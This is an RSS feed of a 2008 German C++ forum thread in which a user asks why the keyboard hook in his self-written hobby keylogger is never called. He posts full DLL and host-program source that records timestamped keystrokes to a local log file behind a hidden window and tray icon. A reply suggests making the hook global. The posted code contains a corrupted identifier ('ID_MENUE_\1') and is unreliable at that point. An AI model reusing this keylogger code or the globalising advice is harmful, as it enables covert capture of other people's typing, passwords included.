<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hook wird nicht aufgerufen]]></title><description><![CDATA[<p>hallo Leute,</p>
<p>ich progge jetzt schon seit 3 Jahren mit C++ und habe auch schon recht viel Erfahrung mit WinAPI, COM, DX usw. gesammelt.<br />
naja, hier im Forum lese ich jetzt immer öfter was von Hooks^^</p>
<p>also hab ich mir gedacht, zum Spaß bastelste dir jetzt mal einen Keylogger.<br />
ich habe jetzt eine DLL mit der Hook-Funktion und ein Programm, welches den Hook installiert.<br />
Das Programm legt ein Tray-Icon an, über das man es beenden kann.<br />
Beim Beenden wird dann auch der Hook wieder entfernt.</p>
<p>ich verwende bei dem Hook SetWindowsHookEx und UnhookWindowsHookEx.<br />
als Typ habe ich WH_KEYBOARD.</p>
<p>auf jeden Fall gibt mir SetWindowsHookEx ein gültiges Handle zurück,<br />
was ja eigentlich schön ist^^</p>
<p>nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!</p>
<p>der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat<br />
und NICHT CallNextHookEx aufruft...</p>
<p>Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht<br />
bewusst bin, welches dafür verantwortlich sein könnte.</p>
<p>Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,<br />
warum mein Hook nie aufgerufen wird.</p>
<p>schonmal danke im voraus.</p>
<p>MfG DrakoXP</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/208089/hook-wird-nicht-aufgerufen</link><generator>RSS for Node</generator><lastBuildDate>Sat, 25 Apr 2026 10:44:27 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/208089.rss" rel="self" type="application/rss+xml"/><pubDate>Fri, 14 Mar 2008 15:54:10 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 15:54:10 GMT]]></title><description><![CDATA[<p>hallo Leute,</p>
<p>ich progge jetzt schon seit 3 Jahren mit C++ und habe auch schon recht viel Erfahrung mit WinAPI, COM, DX usw. gesammelt.<br />
naja, hier im Forum lese ich jetzt immer öfter was von Hooks^^</p>
<p>also hab ich mir gedacht, zum Spaß bastelste dir jetzt mal einen Keylogger.<br />
ich habe jetzt eine DLL mit der Hook-Funktion und ein Programm, welches den Hook installiert.<br />
Das Programm legt ein Tray-Icon an, über das man es beenden kann.<br />
Beim Beenden wird dann auch der Hook wieder entfernt.</p>
<p>ich verwende bei dem Hook SetWindowsHookEx und UnhookWindowsHookEx.<br />
als Typ habe ich WH_KEYBOARD.</p>
<p>auf jeden Fall gibt mir SetWindowsHookEx ein gültiges Handle zurück,<br />
was ja eigentlich schön ist^^</p>
<p>nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!</p>
<p>der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat<br />
und NICHT CallNextHookEx aufruft...</p>
<p>Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht<br />
bewusst bin, welches dafür verantwortlich sein könnte.</p>
<p>Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,<br />
warum mein Hook nie aufgerufen wird.</p>
<p>schonmal danke im voraus.</p>
<p>MfG DrakoXP</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474400</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474400</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 15:54:10 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 16:02:08 GMT]]></title><description><![CDATA[<p>noch einer <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /><br />
hast du dir das bsp. im FAQ vom WinApi Forum mal angeschaut?</p>
<p>schirrmie?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474408</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474408</guid><dc:creator><![CDATA[schirrmie]]></dc:creator><pubDate>Fri, 14 Mar 2008 16:02:08 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 16:41:44 GMT]]></title><description><![CDATA[<p>sry, hab ich nicht,</p>
<p>ich habe mich an die MSDN gehalten,<br />
denn man sollte ja meinen, dass der Entwickler einer API auch weiß, wie diese funktioniert <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";-)"
      alt="😉"
    /></p>
<p>...</p>
<p>ich hab mir deinen Thread da mal angeguckt und<br />
im Prinzip hab ich es genauso gemacht,<br />
nur dass eben SetWindowsHookEX und UnhookWindowHookEx nicht in der DLL sind,<br />
sondern im Programm.</p>
<p>ansonsten hab ich das auch so.</p>
<p>außerdem habe ich ja bereits geschrieben, dass SetWindowsHookEX ein gültiges Handle zurückgibt,<br />
also kann es ja gar nicht so falsch sein (ich weiß, dummer Satz, aber egal)</p>
<p>nein ehrlich, ich kann absolut nichts in dem Code finden, was irgendwie Fehlerhaft wäre.</p>
<p>Im Debugger läuft es perfekt (abgesehen davon, dass die HookProc nie aufgerufen wird).<br />
Naja, ohne Debugger läuft es genauso.</p>
<p>Die Key-Logfiles sind folglich am Ende auch immer leer.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474427</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474427</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 16:41:44 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 16:45:58 GMT]]></title><description><![CDATA[<p>Zeig doch mal, wie du den Hook aufsetzt. Also ein bissl Code, Fehler liegen doch häufig am Programmierer <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474431</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474431</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 14 Mar 2008 16:45:58 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 16:51:04 GMT]]></title><description><![CDATA[<p>also, die DLL:</p>
<p>ach ja, bitte keine dummen Bemerkungen, was den Stil angeht...<br />
nach 3 Jahren C++ weiß ich, dass nicht alles an dem Code lupenrein ist,<br />
aber es ist an sich ja auch nur ein Testprogramm und da achte ich nicht so drauf.<br />
also nur was sagen, wenn es mir bei der Lösung des Problems hilft!</p>
<pre><code class="language-cpp">#pragma comment(lib, &quot;strsafe.lib&quot;)

#include &lt;windows.h&gt;
#include &lt;tchar.h&gt;
#include &lt;strsafe.h&gt;

#pragma data_seg(&quot;shared&quot;)
HANDLE g_hFile = INVALID_HANDLE_VALUE;
HHOOK g_hHook = NULL;
#pragma data_seg()

#pragma comment(linker, &quot;/SECTION:shared,RWS&quot;)

#define PROCESS_KEY(target,keycode) case keycode: StringCchCat(target, sizeof(target), TEXT( #keycode )); break
extern &quot;C&quot; {
__declspec(dllexport) HANDLE SetFileHandle(HANDLE hNew)
{
	HANDLE hOld = g_hFile;
	g_hFile = hNew;
	return hOld;
}

__declspec(dllexport) HHOOK SetHookHandle(HHOOK hNew)
{
	HHOOK hOld = g_hHook;
	g_hHook = hNew;
	return hOld;
}

__declspec(dllexport) LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode &lt; 0)
		return CallNextHookEx(g_hHook, nCode, wParam, lParam);
	if (g_hFile != INVALID_HANDLE_VALUE)
	{
		TCHAR szOutput[64];
		SYSTEMTIME now = { 0 };
		GetLocalTime(&amp;now);
		StringCchPrintf(szOutput, sizeof(szOutput), TEXT(&quot;[%d.%d.%d %d:%d:%d &quot;), now.wDay, now.wMonth, now.wYear, now.wHour, now.wMinute, now.wSecond);
		switch (wParam)
		{
			PROCESS_KEY(szOutput, VK_BACK);
			PROCESS_KEY(szOutput, VK_TAB);
			PROCESS_KEY(szOutput, VK_CLEAR);
			PROCESS_KEY(szOutput, VK_RETURN);
			PROCESS_KEY(szOutput, VK_SHIFT);
			PROCESS_KEY(szOutput, VK_CONTROL);
			PROCESS_KEY(szOutput, VK_MENU);
			PROCESS_KEY(szOutput, VK_CAPITAL);
			PROCESS_KEY(szOutput, VK_ESCAPE);
			PROCESS_KEY(szOutput, VK_SPACE);
			PROCESS_KEY(szOutput, VK_PRIOR);
			PROCESS_KEY(szOutput, VK_NEXT);
			PROCESS_KEY(szOutput, VK_END);
			PROCESS_KEY(szOutput, VK_HOME);
			PROCESS_KEY(szOutput, VK_LEFT);
			PROCESS_KEY(szOutput, VK_UP);
			PROCESS_KEY(szOutput, VK_RIGHT);
			PROCESS_KEY(szOutput, VK_DOWN);
			PROCESS_KEY(szOutput, VK_SELECT);
			PROCESS_KEY(szOutput, VK_PRINT);
			PROCESS_KEY(szOutput, VK_EXECUTE);
			PROCESS_KEY(szOutput, VK_SNAPSHOT);
			PROCESS_KEY(szOutput, VK_INSERT);
			PROCESS_KEY(szOutput, VK_DELETE);
			PROCESS_KEY(szOutput, VK_HELP);
		case '0': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 0 }&quot;)); break;
		case '1': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 1 }&quot;)); break;
		case '2': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 2 }&quot;)); break;
		case '3': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 3 }&quot;)); break;
		case '4': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 4 }&quot;)); break;
		case '5': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 5 }&quot;)); break;
		case '6': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 6 }&quot;)); break;
		case '7': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 7 }&quot;)); break;
		case '8': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 8 }&quot;)); break;
		case '9': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ 9 }&quot;)); break;
		case 'A': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ A }&quot;)); break;
		case 'B': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ B }&quot;)); break;
		case 'C': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ C }&quot;)); break;
		case 'D': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ D }&quot;)); break;
		case 'E': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ E }&quot;)); break;
		case 'F': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ F }&quot;)); break;
		case 'G': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ G }&quot;)); break;
		case 'H': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ H }&quot;)); break;
		case 'I': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ I }&quot;)); break;
		case 'J': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ J }&quot;)); break;
		case 'K': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ K }&quot;)); break;
		case 'L': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ L }&quot;)); break;
		case 'M': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ M }&quot;)); break;
		case 'N': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ N }&quot;)); break;
		case 'O': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ O }&quot;)); break;
		case 'P': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ P }&quot;)); break;
		case 'Q': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ Q }&quot;)); break;
		case 'R': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ R }&quot;)); break;
		case 'S': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ S }&quot;)); break;
		case 'T': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ T }&quot;)); break;
		case 'U': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ U }&quot;)); break;
		case 'V': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ V }&quot;)); break;
		case 'W': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ W }&quot;)); break;
		case 'X': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ X }&quot;)); break;
		case 'Y': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ Y }&quot;)); break;
		case 'Z': StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot;{ Z }&quot;)); break;
			PROCESS_KEY(szOutput, VK_LWIN);
			PROCESS_KEY(szOutput, VK_RWIN);
			PROCESS_KEY(szOutput, VK_APPS);
			PROCESS_KEY(szOutput, VK_NUMPAD0);
			PROCESS_KEY(szOutput, VK_NUMPAD1);
			PROCESS_KEY(szOutput, VK_NUMPAD2);
			PROCESS_KEY(szOutput, VK_NUMPAD3);
			PROCESS_KEY(szOutput, VK_NUMPAD4);
			PROCESS_KEY(szOutput, VK_NUMPAD5);
			PROCESS_KEY(szOutput, VK_NUMPAD6);
			PROCESS_KEY(szOutput, VK_NUMPAD7);
			PROCESS_KEY(szOutput, VK_NUMPAD8);
			PROCESS_KEY(szOutput, VK_NUMPAD9);
			PROCESS_KEY(szOutput, VK_MULTIPLY);
			PROCESS_KEY(szOutput, VK_ADD);
			PROCESS_KEY(szOutput, VK_SEPARATOR);
			PROCESS_KEY(szOutput, VK_SUBTRACT);
			PROCESS_KEY(szOutput, VK_DECIMAL);
			PROCESS_KEY(szOutput, VK_DIVIDE);
			PROCESS_KEY(szOutput, VK_F1);
			PROCESS_KEY(szOutput, VK_F2);
			PROCESS_KEY(szOutput, VK_F3);
			PROCESS_KEY(szOutput, VK_F4);
			PROCESS_KEY(szOutput, VK_F5);
			PROCESS_KEY(szOutput, VK_F6);
			PROCESS_KEY(szOutput, VK_F7);
			PROCESS_KEY(szOutput, VK_F8);
			PROCESS_KEY(szOutput, VK_F9);
			PROCESS_KEY(szOutput, VK_F10);
			PROCESS_KEY(szOutput, VK_F11);
			PROCESS_KEY(szOutput, VK_F12);
			PROCESS_KEY(szOutput, VK_NUMLOCK);
		default:
			return CallNextHookEx(g_hHook, nCode, wParam, lParam);
		}
		if (lParam &amp; (1 &lt;&lt; 31))
			StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot; DOWN]\n&quot;));
		else
			StringCchCat(szOutput, sizeof(szOutput), TEXT(&quot; UP]\n&quot;));
		DWORD dwLength = 0, dwWritten = 0;
		StringCchLength(szOutput, sizeof(szOutput), reinterpret_cast&lt;size_t*&gt;(&amp;dwLength));
		WriteFile(g_hFile, (LPCVOID)szOutput, dwLength, &amp;dwWritten, NULL);	
	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
}
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID pReserved)
{
	return TRUE;
}
</code></pre>
<p>so, und hier das Programm:</p>
<pre><code class="language-cpp">#if defined _M_IX86 
#pragma comment(linker,&quot;/manifestdependency:\&quot;type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\&quot;&quot;) 
#elif defined _M_IA64 
#pragma comment(linker,&quot;/manifestdependency:\&quot;type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\&quot;&quot;) 
#elif defined _M_X64 
#pragma comment(linker,&quot;/manifestdependency:\&quot;type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\&quot;&quot;) 
#else 
#pragma comment(linker,&quot;/manifestdependency:\&quot;type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\&quot;&quot;) 
#endif

#pragma comment(lib, &quot;comctl32.lib&quot;)
#pragma comment(lib, &quot;strsafe.lib&quot;)

#include &lt;windows.h&gt;
#include &lt;commctrl.h&gt;
#include &lt;tchar.h&gt;
#include &lt;strsafe.h&gt;

#include &quot;resource.h&quot;

const TCHAR szClassName[] = TEXT(&quot;KeyLoggerMainWindow&quot;);
const TCHAR szWindowText[] = TEXT(&quot;CTKeyLogger Version 1.0 von Felix Bytow&quot;);

#define ID_TRAYICON 500
#define WM_TRAYICON (WM_USER+1)

BOOL WINAPI AboutProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg)
	{
	case WM_COMMAND:
		{
			switch (LOWORD(wParam))
			{
			case IDOK:
				{
					SendMessage(hWnd, WM_CLOSE, 0, 0);
					return TRUE;
				} break;
			}
		} break;
	case WM_CLOSE:
		{
			DestroyWindow(hWnd);
			return TRUE;
		} break;
	case WM_DESTROY:
		{
			EndDialog(hWnd, 0);
			return TRUE;
		} break;
	}
	return FALSE;
}

typedef HANDLE (*SETFILEHANDLE)(HANDLE);
typedef HHOOK (*SETHOOKHANDLE)(HHOOK);

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	static NOTIFYICONDATA nid = { 0 };
	static HMODULE hKeyBHook = NULL;
	static HOOKPROC pfnHookProc = NULL;
	static HHOOK hHook = NULL;
	static SYSTEMTIME g_stStart = { 0 };
	static SETFILEHANDLE SetFileHandle = NULL;
	static SETHOOKHANDLE SetHookHandle = NULL;
	static HANDLE g_hFile = INVALID_HANDLE_VALUE;
	switch (msg)
	{
	case WM_CREATE:
		{
			LPCREATESTRUCT pCS = reinterpret_cast&lt;LPCREATESTRUCT&gt;(lParam);
			hKeyBHook = LoadLibrary(TEXT(&quot;KeyBoardHook.dll&quot;));
			if (!hKeyBHook)
				return -1;
			pfnHookProc = (HOOKPROC)GetProcAddress(hKeyBHook, &quot;_KeyBoardHook@12&quot;);
			if (!pfnHookProc)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetFileHandle = (SETFILEHANDLE)GetProcAddress(hKeyBHook, &quot;SetFileHandle&quot;);
			if (!SetFileHandle)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetHookHandle = (SETHOOKHANDLE)GetProcAddress(hKeyBHook, &quot;SetHookHandle&quot;);
			if (!SetFileHandle)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			GetLocalTime(&amp;g_stStart);
			TCHAR szLogFile[MAX_PATH];
			StringCchPrintf(szLogFile, sizeof(szLogFile), TEXT(&quot;%d_%d_%d %d_%d_%d.log&quot;), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond);
			g_hFile = CreateFile(szLogFile, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
			if (g_hFile == INVALID_HANDLE_VALUE)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetFileHandle(g_hFile);
			SetHookHandle(hHook = SetWindowsHookEx(WH_KEYBOARD, pfnHookProc, hKeyBHook, GetCurrentThreadId()));
			if (!hHook)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				CloseHandle(g_hFile);
				DeleteFile(szLogFile);
				return -1;
			}
			nid.cbSize = NOTIFYICONDATA_V1_SIZE;
			nid.dwInfoFlags = NIIF_INFO|NIIF_LARGE_ICON;
			nid.dwState = 0;
			nid.dwStateMask = 0;
			nid.hBalloonIcon = NULL;
			nid.hIcon = LoadIcon(pCS-&gt;hInstance, MAKEINTRESOURCE(IDI_KEYBOARD));
			nid.hWnd = hWnd;
			nid.szInfo[0] = _T('\0');
			nid.szInfoTitle[0] = _T('\0');
			StringCchPrintf(nid.szTip, sizeof(nid.szTip), szWindowText);
			nid.uCallbackMessage = WM_TRAYICON;
			nid.uFlags = NIF_ICON|NIF_MESSAGE|NIF_TIP;
			nid.uID = ID_TRAYICON;
			nid.uTimeout = 10000;
			nid.uVersion = NOTIFYICON_VERSION;
			Shell_NotifyIcon(NIM_ADD, &amp;nid);
			return 0;
		} break;
	case WM_CLOSE:
		{
			DestroyWindow(hWnd);
			return 0;
		} break;
	case WM_DESTROY:
		{
			if (hHook)
				UnhookWindowsHookEx(hHook);
			if (g_hFile != INVALID_HANDLE_VALUE)
			{
				CloseHandle(g_hFile);
				TCHAR szLogFileOld[MAX_PATH];
				StringCchPrintf(szLogFileOld, sizeof(szLogFileOld), TEXT(&quot;%d_%d_%d %d_%d_%d.log&quot;), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond);
				TCHAR szLogFileNew[MAX_PATH];
				SYSTEMTIME now = { 0 };
				GetLocalTime(&amp;now);
				StringCchPrintf(szLogFileNew, sizeof(szLogFileNew), TEXT(&quot;%d_%d_%d %d_%d_%d - %d_%d_%d %d_%d_%d.log&quot;), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond, now.wDay, now.wMonth, now.wYear, now.wHour, now.wMinute, now.wSecond);
				MoveFileEx(szLogFileOld, szLogFileNew, MOVEFILE_REPLACE_EXISTING|MOVEFILE_COPY_ALLOWED|MOVEFILE_WRITE_THROUGH);
			}
			Shell_NotifyIcon(NIM_DELETE, &amp;nid);
			if (hKeyBHook)
				FreeLibrary(hKeyBHook);
			PostQuitMessage(0);
			return 0;
		} break;
	case WM_TRAYICON:
		{
			if (lParam == WM_RBUTTONDOWN)
			{
				SetForegroundWindow(hWnd);
				HMENU hTrayMenu = LoadMenu((HINSTANCE)GetWindowLongPtr(hWnd, GWLP_HINSTANCE), MAKEINTRESOURCE(IDR_TRAYMENU));
				HMENU hPopupMenu = GetSubMenu(hTrayMenu, 0);
				POINT CursorPos = { 0 };
				GetCursorPos(&amp;CursorPos);
				UINT cmd = TrackPopupMenu(hPopupMenu, TPM_LEFTBUTTON|TPM_RETURNCMD|TPM_NONOTIFY, CursorPos.x, CursorPos.y, 0, hWnd, NULL);
				switch (cmd)
				{
				case ID_MENUE_EXIT:
					{
						SendMessage(hWnd, WM_CLOSE, 0, 0);
					} break;
				case ID_MENUE_\1:
					{
						DialogBox((HINSTANCE)GetWindowLongPtr(hWnd, GWLP_HINSTANCE), MAKEINTRESOURCE(IDD_ABOUT), NULL, AboutProc);
					} break;
				}
			}
			return 0;
		} break;
	}
	return DefWindowProc(hWnd, msg, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow)
{
	InitCommonControls();
	WNDCLASSEX wce;
	wce.cbClsExtra = 0;
	wce.cbSize = sizeof(WNDCLASSEX);
	wce.cbWndExtra = 0;
	wce.hbrBackground = GetSysColorBrush(COLOR_BTNFACE);
	wce.hCursor = LoadCursor(NULL, IDC_ARROW);
	wce.hIcon = wce.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_KEYBOARD));
	wce.hInstance = hInstance;
	wce.lpfnWndProc = WndProc;
	wce.lpszClassName = szClassName;
	wce.lpszMenuName = NULL;
	wce.style = CS_VREDRAW|CS_HREDRAW;
	RegisterClassEx(&amp;wce);
	HWND hWnd = CreateWindowEx(0, szClassName, szWindowText, WS_POPUP, 0, 0, 10, 10, NULL, NULL, hInstance, NULL);
	ShowWindow(hWnd, SW_HIDE);
	UpdateWindow(hWnd);
	MSG msg;
	while (GetMessage(&amp;msg, NULL, 0, 0))
	{
		TranslateMessage(&amp;msg);
		DispatchMessage(&amp;msg);
	}
	return static_cast&lt;int&gt;(msg.wParam);
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1474433</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474433</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 16:51:04 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 17:13:37 GMT]]></title><description><![CDATA[<p>Der letzte Parameter von SetWindowsHookEx sollte NULL sein, damit auch global die Tasten abgefangen werden. Und sicher, dass das mit dem Export so klappt? Normalerweise sollte man keine kryptischen Namen wie &quot;_KeyBoardHook@12&quot; verwenden müssen.</p>
<p>Wenn's trotzdem nicht klappen sollte, kannst du ja mal versuchen, ohne den Handle-Krams in die Datei zu schreiben, vielleicht hat die DLL keine Rechte dafür (hab ich noch nie probiert, jemand anders wird mehr wissen).</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474441</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474441</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 14 Mar 2008 17:13:37 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 17:27:37 GMT]]></title><description><![CDATA[<p>omfg -.-</p>
<p>also ok, zu dem Parameter NULL,<br />
ich hatte ihn erst auf NULL, und es ging genausowenig...</p>
<p>und was das mit dem kryptischen Namen angeht:<br />
wenn du meine SetWindowsHookEx funktioniert...<br />
kann es dann falsch sein???</p>
<p>außerdem guck dir den DLL-Code an.<br />
ich kompilier das und in der DLL entsteht eine Funktion _KeyBoardHook@12<br />
tut mir ja Leid, ist aber so.<br />
hätte ich bei GetProcAddress nur KeyBoardHook geschrieben, wäre NULL dabei rausgekommen.<br />
das hab ich schon getestet!</p>
<p>den richtigen Namen _KeyBoardHook@12 hab ich über dllexp rausgefunden und<br />
letzten Endes funktioniert das Laden ja auch.<br />
wie gesagt: es gibt nirgendwo Fehler!</p>
<p>und dann möchte ich nochmal auf meine anfängliche Frage verweisen, denn an der scheinen alle einfach vorbeizulesen -.-</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474446</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474446</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 17:27:37 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 17:32:54 GMT]]></title><description><![CDATA[<p>DrakoXP schrieb:</p>
<blockquote>
<p>omfg -.-</p>
</blockquote>
<p>Wenn du keine Hilfe willst, sag's einfach.</p>
<p>DrakoXP schrieb:</p>
<blockquote>
<p>also ok, zu dem Parameter NULL,<br />
ich hatte ihn erst auf NULL, und es ging genausowenig...</p>
</blockquote>
<p><a href="http://msdn2.microsoft.com/en-us/library/ms644990(VS.85).aspx" rel="nofollow">http://msdn2.microsoft.com/en-us/library/ms644990(VS.85).aspx</a></p>
<p>DrakXP schrieb:</p>
<blockquote>
<p>und dann möchte ich nochmal auf meine anfängliche Frage verweisen, denn an der scheinen alle einfach vorbeizulesen -.-</p>
</blockquote>
<p>Welche Frage? Die einzigen Fragezeichen, die du bis jetzt gesetzt hast, waren in eben deinem Post.</p>
<p>Badestrand schrieb:</p>
<blockquote>
<p>Wenn's trotzdem nicht klappen sollte, kannst du ja mal versuchen, ohne den Handle-Krams in die Datei zu schreiben, vielleicht hat die DLL keine Rechte dafür [für das Handle]</p>
</blockquote>
<p>Schon probiert? Weißt du was ich meine?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474453</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474453</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 14 Mar 2008 17:32:54 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 17:40:21 GMT]]></title><description><![CDATA[<p>ähm, dass du mich zu SetWindowsHookEx verweist ist nicht sonderlich dienlich -.-</p>
<p>wie bereits geschrieben habe ich mein Wissen aus der MSDN und wie bereits geschrieben<br />
hatte ich ursprünglich NULL verwendet und wie bereits geschrieben funktionierte es auch nicht.</p>
<p>und meine Frage war:</p>
<blockquote>
<p>nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!</p>
<p>der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat<br />
und NICHT CallNextHookEx aufruft...</p>
<p>Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht<br />
bewusst bin, welches dafür verantwortlich sein könnte.</p>
<p>Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,<br />
warum mein Hook nie aufgerufen wird.</p>
</blockquote>
<p>und nein, ich weiß nicht was du meinst,<br />
